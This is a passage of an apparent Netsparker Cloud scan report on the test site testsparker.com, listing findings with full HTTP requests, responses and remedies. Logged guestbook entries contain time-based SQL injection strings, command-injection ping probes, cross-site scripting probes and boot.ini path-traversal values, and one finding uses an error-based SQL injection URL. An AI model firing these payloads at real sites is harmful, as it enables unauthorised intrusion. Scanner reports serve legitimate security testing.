\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

[ns](javascript:netsparker(0x003D91);)

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x003D8D)+'

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D8B);

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D89)

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ping -c 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x003D87),'

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

\\';netsparker(0x003D85);///

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

","Impact":"
An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=%2fDashboard%2f","Type":"PossibleAdminFile","Name":"[Possible] Administration Page Detected","Severity":"Information","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A7","Wasc":"34","Cwe":"425","Capec":"87","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /administrator/?r=%2fDashboard%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/?r=/Dashboard/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 556\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU%3d&__VIEWSTATEGENERATOR=6EB33A6B&__EVENTVALIDATION=%2fwEdAATIFiQc2tmrCF%2fDbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS%2fj0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G%2fVdyd7n0L954C0VEWnLng%3d&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1=Sign+in","Parameters":[{"Name":"r","Type":"Querystring","Value":"%2fDashboard%2f","Vulnerable":false},{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6EB33A6B","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAATIFiQc2tmrCF/DbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS/j0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G/Vdyd7n0L954C0VEWnLng=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1","Type":"Post","Value":"Sign in","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":98.4901,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5496\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:39 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

Login Failed. Please try again.

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a possible administration page.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
You should manually investigate the found URL.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns)","Type":"MsSqlOutOfDate","Name":"Out-of-date Version (Microsoft SQL Server)","Severity":"Important","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A9","Wasc":"","Cwe":"","Capec":"310","Pci31":"6.2","Pci32":"6.2","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Shop.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"pId","Type":"Querystring","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":595.61660000000006,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4440\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:48:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n
\r\n
\r\n

\r\n

\r\n
\"Conversion
\r\n
\r\n

\r\n

Back to shop.

\r\n
\r\n
\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Version","Value":"12.0.4100.1"},{"Name":"Latest Version","Value":"12.00.5000.0"},{"Name":"Vulnerability Database","Value":"Result is based on 24.05.2017 vulnerability database content."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified you are using an out-of-date version of Microsoft SQL.

","Impact":"
Since this is an old version of the software, it may be vulnerable to attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Please upgrade your installation of Microsoft SQL Server to the latest stable version.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_FTP.log","Type":"WSFTPLogFileIdentified","Name":"WS_FTP Log File Detected","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /WS_FTP.log HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/WS_FTP.log\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":95.4689,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nVary: Accept-Encoding\r\nContent-Length: 303\r\nLast-Modified: Fri, 03 Feb 2017 10:01:06 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nContent-Encoding: \r\nDate: Wed, 23 Aug 2017 07:43:41 GMT\r\nETag: \"05d556f47ed21:0\"\r\n\r\n2014.02.15 16:46 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a WS_FTP log file.

WS_FTP is an FTP client and it creates a log file named WS_FTP.Log, which contains sensitive information such as file names, internal paths, etc.

","Impact":"
There is no direct impact, however this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
If it is a file required by the application, change its permissions to prevent public users from accessing it. If it is not, then remove it from the web server.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Contact.aspx","Type":"GenericEmailDisclosure","Name":"Generic Email Address Disclosure","Severity":"Information","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /Contact.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Contact.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 509\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8%2fyR%2fM64ht6Yg%3d%3d&__VIEWSTATEGENERATOR=CD2448B2&__EVENTVALIDATION=%2fwEdAASIT%2fHRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ%2fhIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7%2fRJAs4%2bwetzxHt9jYp2WcV8wLebbRRFs%3d&ctl00%24contentCenterMenu%24contact%24txtMail=&ctl00%24contentCenterMenu%24contact%24btnSend=Send&ctl00%24contentCenterMenu%24contact%24txtMessage=%0d%0a","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8/yR/M64ht6Yg==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CD2448B2","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASIT/HRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ/hIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7/RJAs4+wetzxHt9jYp2WcV8wLebbRRFs=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMail","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24btnSend","Type":"Post","Value":"Send","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMessage","Type":"Post","Value":"\r\n","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.482,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4886\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:23 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Contact

\r\n

\r\n You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. \r\n

\r\n
\r\n E-Mail\r\n
\r\n Message\r\n
\r\n
\r\n We received your message and contact details. We'll get back to you soon via e-mail.\r\n
\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Email Address(es)","Value":"sales@testsparker.com"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a generic email address disclosure.

","Impact":"
Generic email addresses discovered within the application.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

This is reported for informational purposes only.

You can use submission forms for this purpose to avoid automated email address harvesting tools.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/statics/pear.sh","Type":"ShellScriptIdentified","Name":"Shell Script Detected","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /statics/pear.sh HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/statics/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":89.2215,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 621\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: application/x-sh\r\nDate: Wed, 23 Aug 2017 07:43:43 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n#!/bin/sh\n\n# first find which PHP binary to use\nif test \"x$PHP_PEAR_PHP_BIN\" != \"x\"; then\n PHP=\"$PHP_PEAR_PHP_BIN\"\nelse\n if test \"@php_bin@\" = '@'php_bin'@'; then\n PHP=php \n else\n PHP=\"@php_bin@\"\n fi\nfi\n\n# then look for the right pear include dir\nif test \"x$PHP_PEAR_INSTALL_DIR\" != \"x\"; then\n INCDIR=$PHP_PEAR_INSTALL_DIR\n INCARG=\"-d include_path=$PHP_PEAR_INSTALL_DIR\"\nelse\n if test \"@php_dir@\" = '@'php_dir'@'; then\n INCDIR=`dirname $0`\n INCARG=\"\" \n else\n INCDIR=\"@php_dir@\"\n INCARG=\"-d include_path=@php_dir@\"\n fi\nfi\n\nexec $PHP -C -q $INCARG -d output_buffering=1 $INCDIR/pearcmd.php \"$@\"\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a shell (bash) script on the target website.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
You should manually investigate the found URL.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Contact.aspx","Type":"PossibleDatabaseConnectionStringIdentified","Name":"[Possible] Database Connection String Detected","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":"164.306(a)"},"HttpRequest":{"Method":"POST","Content":"POST /Contact.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Contact.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 509\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8%2fyR%2fM64ht6Yg%3d%3d&__VIEWSTATEGENERATOR=CD2448B2&__EVENTVALIDATION=%2fwEdAASIT%2fHRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ%2fhIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7%2fRJAs4%2bwetzxHt9jYp2WcV8wLebbRRFs%3d&ctl00%24contentCenterMenu%24contact%24txtMail=&ctl00%24contentCenterMenu%24contact%24btnSend=Send&ctl00%24contentCenterMenu%24contact%24txtMessage=%0d%0a","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8/yR/M64ht6Yg==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CD2448B2","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASIT/HRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ/hIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7/RJAs4+wetzxHt9jYp2WcV8wLebbRRFs=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMail","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24btnSend","Type":"Post","Value":"Send","Vulnerable":false},{"Name":"ctl00%24contentCenter